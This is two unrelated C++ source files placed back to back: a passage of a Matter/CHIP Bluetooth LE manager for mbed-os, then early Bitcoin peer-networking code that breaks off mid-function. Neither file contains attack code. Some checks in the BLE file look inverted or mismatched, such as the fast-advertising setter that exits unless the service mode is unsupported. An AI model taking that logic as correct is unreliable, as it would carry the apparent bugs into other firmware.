device is fully provisioned. #if CHIP_DEVICE_CONFIG_CHIPOBLE_DISABLE_ADVERTISING_WHEN_PROVISIONED if (ConfigurationMgr().IsFullyProvisioned()) { mFlags.Clear(kFlag_AdvertisingEnabled); ChipLogProgress(DeviceLayer, "CHIPoBLE advertising disabled because device is fully provisioned"); } #endif // CHIP_DEVICE_CONFIG_CHIPOBLE_DISABLE_ADVERTISING_WHEN_PROVISIONED } // If the application has enabled CHIPoBLE and BLE advertising... if (mServiceMode == ConnectivityManager::kCHIPoBLEServiceMode_Enabled && mFlags.Has(kFlag_AdvertisingEnabled) #if CHIP_DEVICE_CONFIG_CHIPOBLE_SINGLE_CONNECTION // and no connections are active... && (_NumConnections() == 0) #endif ) { // Start/re-start advertising if not already advertising, or if the // advertising state needs to be refreshed. if (!mFlags.Has(kFlag_Advertising) || mFlags.Has(kFlag_AdvertisingRefreshNeeded)) { err = StartAdvertising(); SuccessOrExit(err); } } // Otherwise, stop advertising if currently active. else { err = StopAdvertising(); SuccessOrExit(err); } exit: if (err != CHIP_NO_ERROR) { ChipLogError(DeviceLayer, "Disabling CHIPoBLE service due to error: %s", ErrorStr(err)); mServiceMode = ConnectivityManager::kCHIPoBLEServiceMode_Disabled; } } CHIP_ERROR BLEManagerImpl::_SetAdvertisingMode(BLEAdvertisingMode mode) { switch (mode) { case BLEAdvertisingMode::kFastAdvertising: mFlags.Set(Flags::kFlag_FastAdvertisingEnabled, true); break; case BLEAdvertisingMode::kSlowAdvertising: mFlags.Set(Flags::kFlag_AdvertisingEnabled, false); break; default: return CHIP_ERROR_INVALID_ARGUMENT; } mFlags.Set(Flags::kFlag_AdvertisingRefreshNeeded); PlatformMgr().ScheduleWork(DriveBLEState, 0); return CHIP_NO_ERROR; } /* Build the advertising data and start advertising. */ CHIP_ERROR BLEManagerImpl::StartAdvertising(void) { CHIP_ERROR err = CHIP_NO_ERROR; ble_error_t mbed_err = BLE_ERROR_NONE; ble::Gap & gap = ble::BLE::Instance().gap(); ble::AdvertisingDataBuilder adv_data_builder(mAdvertisingDataBuffer); ChipBLEDeviceIdentificationInfo dev_id_info; // Advertise CONNECTABLE if we haven't reached the maximum number of connections. uint16_t num_conns = _NumConnections(); bool connectable = (num_conns < kMaxConnections); ble::advertising_type_t adv_type = connectable ? ble::advertising_type_t::CONNECTABLE_UNDIRECTED : ble::advertising_type_t::SCANNABLE_UNDIRECTED; // Advertise in fast mode if not fully provisioned and there are no CHIPoBLE connections, or // if the application has expressly requested fast advertising. ble::adv_interval_t adv_interval = (num_conns == 0 && !ConfigurationMgr().IsFullyProvisioned()) ? ble::adv_interval_t(CHIP_DEVICE_CONFIG_BLE_FAST_ADVERTISING_INTERVAL_MAX) : ble::adv_interval_t(CHIP_DEVICE_CONFIG_BLE_SLOW_ADVERTISING_INTERVAL_MAX); // minInterval and maxInterval are equal for CHIP. ble::AdvertisingParameters adv_params(adv_type, adv_interval, adv_interval); // Restart advertising if already active. if (gap.isAdvertisingActive(ble::LEGACY_ADVERTISING_HANDLE)) { mbed_err = gap.stopAdvertising(ble::LEGACY_ADVERTISING_HANDLE); VerifyOrExit(mbed_err == BLE_ERROR_NONE, err = CHIP_ERROR_INTERNAL); ChipLogDetail(DeviceLayer, "Advertising already active. Restarting."); } mbed_err = gap.setAdvertisingParameters(ble::LEGACY_ADVERTISING_HANDLE, adv_params); VerifyOrExit(mbed_err == BLE_ERROR_NONE, err = CHIP_ERROR_INTERNAL); mbed_err = adv_data_builder.setFlags(ble::adv_data_flags_t::BREDR_NOT_SUPPORTED | ble::adv_data_flags_t::LE_GENERAL_DISCOVERABLE); VerifyOrExit(mbed_err == BLE_ERROR_NONE, err = CHIP_ERROR_INTERNAL); if (!mFlags.Has(kFlag_UseCustomDeviceName)) { uint16_t discriminator; SuccessOrExit(err = ConfigurationMgr().GetSetupDiscriminator(discriminator)); memset(mDeviceName, 0, kMaxDeviceNameLength); snprintf(mDeviceName, kMaxDeviceNameLength, "%s%04u", CHIP_DEVICE_CONFIG_BLE_DEVICE_NAME_PREFIX, discriminator); } mbed_err = adv_data_builder.setName(mDeviceName); VerifyOrExit(mbed_err == BLE_ERROR_NONE, err = CHIP_ERROR_INTERNAL); dev_id_info.Init(); SuccessOrExit(ConfigurationMgr().GetBLEDeviceIdentificationInfo(dev_id_info)); mbed_err = adv_data_builder.setServiceData( ShortUUID_CHIPoBLEService, mbed::make_Span<const uint8_t>(reinterpret_cast<uint8_t *>(&dev_id_info), sizeof dev_id_info)); VerifyOrExit(mbed_err == BLE_ERROR_NONE, err = CHIP_ERROR_INTERNAL); mbed_err = gap.setAdvertisingPayload(ble::LEGACY_ADVERTISING_HANDLE, adv_data_builder.getAdvertisingData()); VerifyOrExit(mbed_err == BLE_ERROR_NONE, err = CHIP_ERROR_INTERNAL); adv_data_builder.clear(); adv_data_builder.setLocalServiceList(mbed::make_Span<const UUID>(&ShortUUID_CHIPoBLEService, 1)); mbed_err = gap.setAdvertisingScanResponse(ble::LEGACY_ADVERTISING_HANDLE, adv_data_builder.getAdvertisingData()); VerifyOrExit(mbed_err == BLE_ERROR_NONE, err = CHIP_ERROR_INTERNAL); mbed_err = gap.startAdvertising(ble::LEGACY_ADVERTISING_HANDLE); VerifyOrExit(mbed_err == BLE_ERROR_NONE, err = CHIP_ERROR_INTERNAL); ChipLogDetail(DeviceLayer, "Advertising started, type: 0x%x (%sconnectable), interval: [%lu:%lu] ms, device name: %s)", adv_params.getType().value(), connectable ? "" : "non-", adv_params.getMinPrimaryInterval().valueInMs(), adv_params.getMaxPrimaryInterval().valueInMs(), mDeviceName); exit: if (mbed_err != BLE_ERROR_NONE) { ChipLogError(DeviceLayer, "StartAdvertising mbed-os error: %d", mbed_err); } return err; } CHIP_ERROR BLEManagerImpl::StopAdvertising(void) { CHIP_ERROR err = CHIP_NO_ERROR; ble_error_t mbed_err = BLE_ERROR_NONE; ble::Gap & gap = ble::BLE::Instance().gap(); if (!gap.isAdvertisingActive(ble::LEGACY_ADVERTISING_HANDLE)) { ChipLogDetail(DeviceLayer, "No need to stop. Advertising inactive."); return err; } mbed_err = gap.stopAdvertising(ble::LEGACY_ADVERTISING_HANDLE); VerifyOrExit(mbed_err == BLE_ERROR_NONE, err = CHIP_ERROR_INTERNAL); exit: if (mbed_err != BLE_ERROR_NONE) { ChipLogError(DeviceLayer, "StopAdvertising mbed-os error: %d", mbed_err); } return err; } CHIP_ERROR BLEManagerImpl::_SetCHIPoBLEServiceMode(CHIPoBLEServiceMode val) { CHIP_ERROR err = CHIP_NO_ERROR; VerifyOrExit(val != ConnectivityManager::kCHIPoBLEServiceMode_NotSupported, err = CHIP_ERROR_INVALID_ARGUMENT); VerifyOrExit(mServiceMode != ConnectivityManager::kCHIPoBLEServiceMode_NotSupported, err = CHIP_ERROR_UNSUPPORTED_CHIP_FEATURE); if (val != mServiceMode) { mServiceMode = val; PlatformMgr().ScheduleWork(DriveBLEState, 0); } exit: return err; } CHIP_ERROR BLEManagerImpl::_SetAdvertisingEnabled(bool val) { CHIP_ERROR err = CHIP_NO_ERROR; VerifyOrExit(mServiceMode != ConnectivityManager::kCHIPoBLEServiceMode_NotSupported, err = CHIP_ERROR_UNSUPPORTED_CHIP_FEATURE); if (mFlags.Has(kFlag_AdvertisingEnabled) != val) { ChipLogDetail(DeviceLayer, "SetAdvertisingEnabled(%s)", val ? "true" : "false"); mFlags.Set(kFlag_AdvertisingEnabled, val); PlatformMgr().ScheduleWork(DriveBLEState, 0); } exit: return err; } CHIP_ERROR BLEManagerImpl::_SetFastAdvertisingEnabled(bool val) { CHIP_ERROR err = CHIP_NO_ERROR; VerifyOrExit(mServiceMode == ConnectivityManager::kCHIPoBLEServiceMode_NotSupported, err = CHIP_ERROR_UNSUPPORTED_CHIP_FEATURE); if (mFlags.Has(kFlag_FastAdvertisingEnabled) != val) { ChipLogDetail(DeviceLayer, "SetFastAdvertisingEnabled(%s)", val ? "true" : "false"); mFlags.Set(kFlag_FastAdvertisingEnabled, val); PlatformMgr().ScheduleWork(DriveBLEState, 0); } exit: return err; } CHIP_ERROR BLEManagerImpl::_GetDeviceName(char * buf, size_t bufSize) { CHIP_ERROR err = CHIP_NO_ERROR; VerifyOrExit(strlen(mDeviceName) < bufSize, err = CHIP_ERROR_BUFFER_TOO_SMALL); strcpy(buf, mDeviceName); exit: return err; } CHIP_ERROR BLEManagerImpl::_SetDeviceName(const char * deviceName) { CHIP_ERROR err = CHIP_NO_ERROR; VerifyOrExit(mServiceMode != ConnectivityManager::kCHIPoBLEServiceMode_NotSupported, err = CHIP_ERROR_UNSUPPORTED_CHIP_FEATURE); if (deviceName != nullptr && deviceName[0] != '\0') { VerifyOrExit(strlen(deviceName) < kMaxDeviceNameLength, err = CHIP_ERROR_INVALID_ARGUMENT); strcpy(mDeviceName, deviceName); mFlags.Set(kFlag_UseCustomDeviceName); ChipLogDetail(DeviceLayer, "Device name set to: %s", deviceName); } else { mDeviceName[0] = '\0'; mFlags.Clear(kFlag_UseCustomDeviceName); } exit: return err; } uint16_t BLEManagerImpl::_NumConnections(void) { return mGAPConns; } void BLEManagerImpl::_OnPlatformEvent(const ChipDeviceEvent * event) { switch (event->Type) { case DeviceEventType::kCHIPoBLESubscribe: { ChipDeviceEvent connEstEvent; ChipLogDetail(DeviceLayer, "_OnPlatformEvent kCHIPoBLESubscribe"); HandleSubscribeReceived(event->CHIPoBLESubscribe.ConId, &CHIP_BLE_SVC_ID, &ChipUUID_CHIPoBLEChar_TX); connEstEvent.Type = DeviceEventType::kCHIPoBLEConnectionEstablished; PlatformMgrImpl().PostEvent(&connEstEvent); } break; case DeviceEventType::kCHIPoBLEUnsubscribe: { ChipLogDetail(DeviceLayer, "_OnPlatformEvent kCHIPoBLEUnsubscribe"); HandleUnsubscribeReceived(event->CHIPoBLEUnsubscribe.ConId, &CHIP_BLE_SVC_ID, &ChipUUID_CHIPoBLEChar_TX); } break; case DeviceEventType::kCHIPoBLEWriteReceived: { ChipLogDetail(DeviceLayer, "_OnPlatformEvent kCHIPoBLEWriteReceived"); HandleWriteReceived(event->CHIPoBLEWriteReceived.ConId, &CHIP_BLE_SVC_ID, &ChipUUID_CHIPoBLEChar_RX, PacketBufferHandle::Adopt(event->CHIPoBLEWriteReceived.Data)); } break; case DeviceEventType::kCHIPoBLEConnectionError: { ChipLogDetail(DeviceLayer, "_OnPlatformEvent kCHIPoBLEConnectionError"); HandleConnectionError(event->CHIPoBLEConnectionError.ConId, event->CHIPoBLEConnectionError.Reason); } break; case DeviceEventType::kCHIPoBLEIndicateConfirm: { ChipLogDetail(DeviceLayer, "_OnPlatformEvent kCHIPoBLEIndicateConfirm"); HandleIndicationConfirmation(event->CHIPoBLEIndicateConfirm.ConId, &CHIP_BLE_SVC_ID, &ChipUUID_CHIPoBLEChar_TX); } break; default: ChipLogDetail(DeviceLayer, "_OnPlatformEvent default: event->Type = 0x%x", event->Type); break; } } void BLEManagerImpl::NotifyChipConnectionClosed(BLE_CONNECTION_OBJECT conId) { // no-op } bool BLEManagerImpl::SubscribeCharacteristic(BLE_CONNECTION_OBJECT conId, const ChipBleUUID * svcId, const ChipBleUUID * charId) { ChipLogError(DeviceLayer, "%s: NOT IMPLEMENTED", __PRETTY_FUNCTION__); return true; } bool BLEManagerImpl::UnsubscribeCharacteristic(BLE_CONNECTION_OBJECT conId, const ChipBleUUID * svcId, const ChipBleUUID * charId) { ChipLogError(DeviceLayer, "%s: NOT IMPLEMENTED", __PRETTY_FUNCTION__); return true; } bool BLEManagerImpl::CloseConnection(BLE_CONNECTION_OBJECT conId) { ChipLogProgress(DeviceLayer, "Closing BLE GATT connection, connHandle=%d", conId); ble::Gap & gap = ble::BLE::Instance().gap(); ble_error_t mbed_err = gap.disconnect(conId, ble::local_disconnection_reason_t::USER_TERMINATION); return mbed_err == BLE_ERROR_NONE; } uint16_t BLEManagerImpl::GetMTU(BLE_CONNECTION_OBJECT conId) const { return sConnectionInfo.getMTU(conId); } bool BLEManagerImpl::SendIndication(BLE_CONNECTION_OBJECT conId, const ChipBleUUID * svcId, const ChipBleUUID * charId, PacketBufferHandle pBuf) { ChipLogDetail(DeviceLayer, "BlePlatformDelegate %s", __FUNCTION__); CHIP_ERROR err = CHIP_NO_ERROR; ble_error_t mbed_err = BLE_ERROR_NONE; ble::GattServer & gatt_server = ble::BLE::Instance().gattServer(); ble::attribute_handle_t att_handle; // No need to do anything fancy here. Only 3 handles are used in this impl. if (UUIDsMatch(charId, &ChipUUID_CHIPoBLEChar_TX)) { att_handle = sCHIPService.getTxHandle(); } else if (UUIDsMatch(charId, &ChipUUID_CHIPoBLEChar_RX)) { // TODO does this make sense? att_handle = sCHIPService.getRxHandle(); } else { // TODO handle error with chipConnection::SendMessage as described // in the BlePlatformDelegate.h. ChipLogError(DeviceLayer, "Send indication failed, invalid charID."); return false; } ChipLogDetail(DeviceLayer, "Sending indication for CHIPoBLE characteristic " "(connHandle=%d, attHandle=%d, data_len=%" PRIu16 ")", conId, att_handle, pBuf->DataLength()); mbed_err = gatt_server.write(att_handle, pBuf->Start(), pBuf->DataLength(), false); VerifyOrExit(mbed_err == BLE_ERROR_NONE, err = CHIP_ERROR_INTERNAL); exit: if (mbed_err != BLE_ERROR_NONE) { ChipLogError(DeviceLayer, "Send indication failed, mbed-os error: %d", mbed_err); } return err == CHIP_NO_ERROR; } bool BLEManagerImpl::SendWriteRequest(BLE_CONNECTION_OBJECT conId, const ChipBleUUID * svcId, const ChipBleUUID * charId, PacketBufferHandle pBuf) { ChipLogError(DeviceLayer, "%s: NOT IMPLEMENTED", __PRETTY_FUNCTION__); return true; } bool BLEManagerImpl::SendReadRequest(BLE_CONNECTION_OBJECT conId, const ChipBleUUID * svcId, const ChipBleUUID * charId, PacketBufferHandle pBuf) { ChipLogError(DeviceLayer, "%s: NOT IMPLEMENTED", __PRETTY_FUNCTION__); return true; } bool BLEManagerImpl::SendReadResponse(BLE_CONNECTION_OBJECT conId, BLE_READ_REQUEST_CONTEXT requestContext, const ChipBleUUID * svcId, const ChipBleUUID * charId) { ChipLogError(DeviceLayer, "%s: NOT IMPLEMENTED", __PRETTY_FUNCTION__); return true; } } // namespace Internal } // namespace DeviceLayer } // namespace chip #endif // CHIP_DEVICE_CONFIG_ENABLE_CHIPOBLE
// Copyright (c) 2009-2010 Satoshi Nakamoto // Copyright (c) 2009-2014 The Bitcoin developers // Distributed under the MIT/X11 software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include "db.h" #include "net.h" #include "init.h" #include "addrman.h" #include "ui_interface.h" #include "script.h" #ifdef WIN32 #include <string.h> #endif #ifdef USE_UPNP #include <miniupnpc/miniwget.h> #include <miniupnpc/miniupnpc.h> #include <miniupnpc/upnpcommands.h> #include <miniupnpc/upnperrors.h> #endif // Dump addresses to peers.dat every 15 minutes (900s) #define DUMP_ADDRESSES_INTERVAL 900 using namespace std; using namespace boost; static const int MAX_OUTBOUND_CONNECTIONS = 8; bool OpenNetworkConnection(const CAddress& addrConnect, CSemaphoreGrant *grantOutbound = NULL, const char *strDest = NULL, bool fOneShot = false); struct LocalServiceInfo { int nScore; int nPort; }; // // Global state variables // bool fDiscover = true; uint64 nLocalServices = NODE_NETWORK; static CCriticalSection cs_mapLocalHost; static map<CNetAddr, LocalServiceInfo> mapLocalHost; static bool vfReachable[NET_MAX] = {}; static bool vfLimited[NET_MAX] = {}; static CNode* pnodeLocalHost = NULL; static CNode* pnodeSync = NULL; uint64 nLocalHostNonce = 0; static std::vector<SOCKET> vhListenSocket; CAddrMan addrman; int nMaxConnections = 125; vector<CNode*> vNodes; CCriticalSection cs_vNodes; map<CInv, CDataStream> mapRelay; deque<pair<int64, CInv> > vRelayExpiration; CCriticalSection cs_mapRelay; limitedmap<CInv, int64> mapAlreadyAskedFor(MAX_INV_SZ); static deque<string> vOneShots; CCriticalSection cs_vOneShots; set<CNetAddr> setservAddNodeAddresses; CCriticalSection cs_setservAddNodeAddresses; vector<std::string> vAddedNodes; CCriticalSection cs_vAddedNodes; static CSemaphore *semOutbound = NULL; void AddOneShot(string strDest) { LOCK(cs_vOneShots); vOneShots.push_back(strDest); } unsigned short GetListenPort() { return (unsigned short)(GetArg("-port", GetDefaultPort())); } void CNode::PushGetBlocks(CBlockIndex* pindexBegin, uint256 hashEnd) { // Filter out duplicate requests if (pindexBegin == pindexLastGetBlocksBegin && hashEnd == hashLastGetBlocksEnd) return; pindexLastGetBlocksBegin = pindexBegin; hashLastGetBlocksEnd = hashEnd; PushMessage("getblocks", CBlockLocator(pindexBegin), hashEnd); } // find 'best' local address for a particular peer bool GetLocal(CService& addr, const CNetAddr *paddrPeer) { if (fNoListen) return false; int nBestScore = -1; int nBestReachability = -1; { LOCK(cs_mapLocalHost); for (map<CNetAddr, LocalServiceInfo>::iterator it = mapLocalHost.begin(); it != mapLocalHost.end(); it++) { int nScore = (*it).second.nScore; int nReachability = (*it).first.GetReachabilityFrom(paddrPeer); if (nReachability > nBestReachability || (nReachability == nBestReachability && nScore > nBestScore)) { addr = CService((*it).first, (*it).second.nPort); nBestReachability = nReachability; nBestScore = nScore; } } } return nBestScore >= 0; } // get best local address for a particular peer as a CAddress CAddress GetLocalAddress(const CNetAddr *paddrPeer) { CAddress ret(CService("0.0.0.0",0),0); CService addr; if (GetLocal(addr, paddrPeer)) { ret = CAddress(addr); ret.nServices = nLocalServices; ret.nTime = GetAdjustedTime(); } return ret; } bool RecvLine(SOCKET hSocket, string& strLine) { strLine = ""; loop { char c; int nBytes = recv(hSocket, &c, 1, 0); if (nBytes > 0) { if (c == '\n') continue; if (c == '\r') return true; strLine += c; if (strLine.size() >= 9000) return true; } else if (nBytes <= 0) { boost::this_thread::interruption_point(); if (nBytes < 0) { int nErr = WSAGetLastError(); if (nErr == WSAEMSGSIZE) continue; if (nErr == WSAEWOULDBLOCK || nErr == WSAEINTR || nErr == WSAEINPROGRESS) { MilliSleep(10); continue; } } if (!strLine.empty()) return true; if (nBytes == 0) { // socket closed printf("socket closed\n"); return false; } else { // socket error int nErr = WSAGetLastError(); printf("recv failed: %d\n", nErr); return false; } } } } // used when scores of local addresses may have changed // pushes better local address to peers void static AdvertizeLocal() { LOCK(cs_vNodes); BOOST_FOREACH(CNode* pnode, vNodes) { if (pnode->fSuccessfullyConnected) { CAddress addrLocal = GetLocalAddress(&pnode->addr); if (addrLocal.IsRoutable() && (CService)addrLocal != (CService)pnode->addrLocal) { pnode->PushAddress(addrLocal); pnode->addrLocal = addrLocal; } } } } void SetReachable(enum Network net, bool fFlag) { LOCK(cs_mapLocalHost); vfReachable[net] = fFlag; if (net == NET_IPV6 && fFlag) vfReachable[NET_IPV4] = true; } // learn a new local address bool AddLocal(const CService& addr, int nScore) { if (!addr.IsRoutable()) return false; if (!fDiscover && nScore < LOCAL_MANUAL) return false; if (IsLimited(addr)) return false; printf("AddLocal(%s,%i)\n", addr.ToString().c_str(), nScore); { LOCK(cs_mapLocalHost); bool fAlready = mapLocalHost.count(addr) > 0; LocalServiceInfo &info = mapLocalHost[addr]; if (!fAlready || nScore >= info.nScore) { info.nScore = nScore + (fAlready ? 1 : 0); info.nPort = addr.GetPort(); } SetReachable(addr.GetNetwork()); } AdvertizeLocal(); return true; } bool AddLocal(const CNetAddr &addr, int nScore) { return AddLocal(CService(addr, GetListenPort()), nScore); } /** Make a particular network entirely off-limits (no automatic connects to it) */ void SetLimited(enum Network net, bool fLimited) { if (net == NET_UNROUTABLE) return; LOCK(cs_mapLocalHost); vfLimited[net] = fLimited; } bool IsLimited(enum Network net) { LOCK(cs_mapLocalHost); return vfLimited[net]; } bool IsLimited(const CNetAddr &addr) { return IsLimited(addr.GetNetwork()); } /** vote for a local address */ bool SeenLocal(const CService& addr) { { LOCK(cs_mapLocalHost); if (mapLocalHost.count(addr) == 0) return false; mapLocalHost[addr].nScore++; } AdvertizeLocal(); return true; } /** check whether a given address is potentially local */ bool IsLocal(const CService& addr) { LOCK(cs_mapLocalHost); return mapLocalHost.count(addr) > 0; } /** check whether a given address is in a network we can probably connect to */ bool IsReachable(const CNetAddr& addr) { LOCK(cs_mapLocalHost); enum Network net = addr.GetNetwork(); return vfReachable[net] && !vfLimited[net]; } bool GetMyExternalIP2(const CService& addrConnect, const char* pszGet, const char* pszKeyword, CNetAddr& ipRet) { SOCKET hSocket; if (!ConnectSocket(addrConnect, hSocket)) return error("GetMyExternalIP() : connection to %s failed", addrConnect.ToString().c_str()); send(hSocket, pszGet, strlen(pszGet), MSG_NOSIGNAL); string strLine; while (RecvLine(hSocket, strLine)) { if (strLine.empty()) // HTTP response is separated from headers by blank line { loop { if (!RecvLine(hSocket, strLine)) { closesocket(hSocket); return false; } if (pszKeyword == NULL) break; if (strLine.find(pszKeyword) != string::npos) { strLine = strLine.substr(strLine.find(pszKeyword) + strlen(pszKeyword)); break; } } closesocket(hSocket); if (strLine.find("<") != string::npos) strLine = strLine.substr(0, strLine.find("<")); strLine = strLine.substr(strspn(strLine.c_str(), " \t\n\r")); while (strLine.size() > 0 && isspace(strLine[strLine.size()-1])) strLine.resize(strLine.size()-1); CService addr(strLine,0,true); printf("GetMyExternalIP() received [%s] %s\n", strLine.c_str(), addr.ToString().c_str()); if (!addr.IsValid() || !addr.IsRoutable()) return false; ipRet.SetIP(addr); return true; } } closesocket(hSocket); return error("GetMyExternalIP() : connection closed"); } bool GetMyExternalIP(CNetAddr& ipRet) { CService addrConnect; const char* pszGet; const char* pszKeyword; for (int nLookup = 0; nLookup <= 1; nLookup++) for (int nHost = 1; nHost <= 1; nHost++) { // We should be phasing out our use of sites like these. If we need // replacements, we should ask for volunteers to put this simple // php file on their web server that prints the client IP: // <?php echo $_SERVER["REMOTE_ADDR"]; ?> if (nHost == 1) { addrConnect = CService("91.198.22.70", 80); // checkip.dyndns.org if (nLookup == 1) { CService addrIP("checkip.dyndns.org", 80, true); if (addrIP.IsValid()) addrConnect = addrIP; } pszGet = "GET / HTTP/1.1\r\n" "Host: checkip.dyndns.org\r\n" "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n" "Connection: close\r\n" "\r\n"; pszKeyword = "Address:"; } if (GetMyExternalIP2(addrConnect, pszGet, pszKeyword, ipRet)) return true; } return false; } void ThreadGetMyExternalIP(void* parg) { // Make this thread recognisable as the external IP detection thread RenameThread("bitcoin-ext-ip"); CNetAddr addrLocalHost; if (GetMyExternalIP(addrLocalHost)) { printf("GetMyExternalIP() returned %s\n", addrLocalHost.ToStringIP().c_str()); AddLocal(addrLocalHost, LOCAL_HTTP); } } void AddressCurrentlyConnected(const CService& addr) { addrman.Connected(addr); } CNode* FindNode(const CNetAddr& ip) { LOCK(cs_vNodes); BOOST_FOREACH(CNode* pnode, vNodes) if ((CNetAddr)pnode->addr == ip) return (pnode); return NULL; } CNode* FindNode(std::string addrName) { LOCK(cs_vNodes); BOOST_FOREACH(CNode* pnode, vNodes) if (pnode->addrName == addrName) return (pnode); return NULL; } CNode* FindNode(const CService& addr) { LOCK(cs_vNodes); BOOST_FOREACH(CNode* pnode, vNodes) if ((CService)pnode->addr == addr) return (pnode); return NULL; } CNode* ConnectNode(CAddress addrConnect, const char *pszDest) { if (pszDest == NULL) { if (IsLocal(addrConnect)) return NULL; // Look for an existing connection CNode* pnode = FindNode((CService)addrConnect); if (pnode) { pnode->AddRef(); return pnode; } } /// debug print printf("trying connection %s lastseen=%.1fhrs\n", pszDest ? pszDest : addrConnect.ToString().c_str(), pszDest ? 0 : (double)(GetAdjustedTime() - addrConnect.nTime)/3600.0); // Connect SOCKET hSocket; if (pszDest ? ConnectSocketByName(addrConnect, hSocket, pszDest, GetDefaultPort()) : ConnectSocket(addrConnect, hSocket)) { addrman.Attempt(addrConnect); /// debug print printf("connected %s\n", pszDest ? pszDest : addrConnect.ToString().c_str()); // Set to non-blocking #ifdef WIN32 u_long nOne = 1; if (ioctlsocket(hSocket, FIONBIO, &nOne) == SOCKET_ERROR) printf("ConnectSocket() : ioctlsocket non-blocking setting failed, error %d\n", WSAGetLastError()); #else if (fcntl(hSocket, F_SETFL, O_NONBLOCK) == SOCKET_ERROR) printf("ConnectSocket() : fcntl non-blocking setting failed, error %d\n", errno); #endif // Add node CNode* pnode = new CNode(hSocket, addrConnect, pszDest ? pszDest : "", false); pnode->AddRef(); { LOCK(cs_vNodes); vNodes.push_back(pnode); } pnode->nTimeConnected = GetTime(); return pnode; } else { return NULL; } } void CNode::CloseSocketDisconnect() { fDisconnect = true; if (hSocket != INVALID_SOCKET) { printf("disconnecting node %s\n", addrName.c_str()); closesocket(hSocket); hSocket = INVALID_SOCKET; } // in case this fails, we'll empty the recv buffer when the CNode is deleted TRY_LOCK(cs_vRecvMsg, lockRecv); if (lockRecv) vRecvMsg.clear(); // if this was the sync node, we'll need a new one if (this == pnodeSync) pnodeSync = NULL; } void CNode::Cleanup() { } void CNode::PushVersion() { /// when NTP implemented, change to just nTime = GetAdjustedTime() int64 nTime = (fInbound ? GetAdjustedTime() : GetTime()); CAddress addrYou = (addr.IsRoutable() && !IsProxy(addr) ? addr : CAddress(CService("0.0.0.0",0))); CAddress addrMe = GetLocalAddress(&addr); RAND_bytes((unsigned char*)&nLocalHostNonce, sizeof(nLocalHostNonce)); printf("send version message: version %d, blocks=%d, us=%s, them=%s, peer=%s\n", PROTOCOL_VERSION, nBestHeight, addrMe.ToString().c_str(), addrYou.ToString().c_str(), addr.ToString().c_str()); PushMessage("version", PROTOCOL_VERSION, nLocalServices, nTime, addrYou, addrMe, nLocalHostNonce, FormatSubVersion(CLIENT_NAME, CLIENT_VERSION, std::vector<string>()), nBestHeight); } std::map<CNetAddr, int64> CNode::setBanned; CCriticalSection CNode::cs_setBanned; void CNode::ClearBanned() { setBanned.clear(); } bool CNode::IsBanned(CNetAddr ip) { bool fResult = false; { LOCK(cs_setBanned); std::map<CNetAddr, int64>::iterator i = setBanned.find(ip); if (i != setBanned.end()) { int64 t = (*i).second; if (GetTime() < t) fResult = true; } } return fResult; } bool CNode::Misbehaving(int howmuch) { if (addr.IsLocal()) { printf("Warning: Local node %s misbehaving (delta: %d)!\n", addrName.c_str(), howmuch); return false; } nMisbehavior += howmuch; if (nMisbehavior >= GetArg("-banscore", 100)) { int64 banTime = GetTime()+GetArg("-bantime", 60*60*24); // Default 24-hour ban printf("Misbehaving: %s (%d -> %d) DISCONNECTING\n", addr.ToString().c_str(), nMisbehavior-howmuch, nMisbehavior); { LOCK(cs_setBanned); if (setBanned[addr] < banTime) setBanned[addr] = banTime; } CloseSocketDisconnect(); return true; } else printf("Misbehaving: %s (%d -> %d)\n", addr.ToString().c_str(), nMisbehavior-howmuch, nMisbehavior); return false; } #undef X #define X(name) stats.name = name void CNode::copyStats(CNodeStats &stats) { X(nServices); X(nLastSend); X(nLastRecv); X(nTimeConnected); X(addrName); X(nVersion); X(cleanSubVer); X(fInbound); X(nStartingHeight); X(nMisbehavior); X(nSendBytes); X(nRecvBytes); X(nBlocksRequested); stats.fSyncNode = (this == pnodeSync); } #undef X // requires LOCK(cs_vRecvMsg) bool CNode::ReceiveMsgBytes(const char *pch, unsigned int nBytes) { while (nBytes > 0) { // get current incomplete message, or create a new one if (vRecvMsg.empty() || vRecvMsg.back().complete()) vRecvMsg.push_back(CNetMessage(SER_NETWORK, nRecvVersion)); CNetMessage& msg = vRecvMsg.back(); // absorb network data int handled; if (!msg.in_data) handled = msg.readHeader(pch, nBytes); else handled = msg.readData(pch, nBytes); if (handled < 0) return false; pch += handled; nBytes -= handled; } return true; } int CNetMessage::readHeader(const char *pch, unsigned int nBytes) { // copy data to temporary parsing buffer unsigned int nRemaining = 24 - nHdrPos; unsigned int nCopy = std::min(nRemaining, nBytes); memcpy(&hdrbuf[nHdrPos], pch, nCopy); nHdrPos += nCopy; // if header incomplete, exit if (nHdrPos < 24) return nCopy; // deserialize to CMessageHeader try { hdrbuf >> hdr; } catch (std::exception &e) { return -1; } // reject messages larger than MAX_SIZE if (hdr.nMessageSize > MAX_SIZE) return -1; // switch state to reading message data in_data = true; vRecv.resize(hdr.nMessageSize); return nCopy; } int CNetMessage::readData(const char *pch, unsigned int nBytes) { unsigned int nRemaining = hdr.nMessageSize - nDataPos; unsigned int nCopy = std::min(nRemaining, nBytes); memcpy(&vRecv[nDataPos], pch, nCopy); nDataPos += nCopy; return nCopy; } // requires LOCK(cs_vSend) void SocketSendData(CNode *pnode) { std::deque<CSerializeData>::iterator it = pnode->vSendMsg.begin(); while (it != pnode->vSendMsg.end()) { const CSerializeData &data = *it; assert(data.size() > pnode->nSendOffset); int nBytes = send(pnode->hSocket, &data[pnode->nSendOffset], data.size() - pnode->nSendOffset, MSG_NOSIGNAL | MSG_DONTWAIT); if (nBytes > 0) { pnode->nLastSend = GetTime(); pnode->nSendBytes += nBytes; pnode->nSendOffset += nBytes; if (pnode->nSendOffset == data.size()) { pnode->nSendOffset = 0; pnode->nSendSize -= data.size(); it++; } else { // could not send full message; stop sending more break; } } else { if (nBytes < 0) { // error int nErr = WSAGetLastError(); if (nErr != WSAEWOULDBLOCK && nErr != WSAEMSGSIZE && nErr != WSAEINTR && nErr != WSAEINPROGRESS) { printf("socket send error %d\n", nErr); pnode->CloseSocketDisconnect(); } } // couldn't send anything at all break; } } if (it == pnode->vSendMsg.end()) { assert(pnode->nSendOffset == 0); assert(pnode->nSendSize == 0); } pnode->vSendMsg.erase(pnode->vSendMsg.begin(), it); } static list<CNode*> vNodesDisconnected; void ThreadSocketHandler() { unsigned int nPrevNodeCount = 0; loop { // // Disconnect nodes // { LOCK(cs_vNodes); // Disconnect unused nodes vector<CNode*> vNodesCopy = vNodes; BOOST_FOREACH(CNode* pnode, 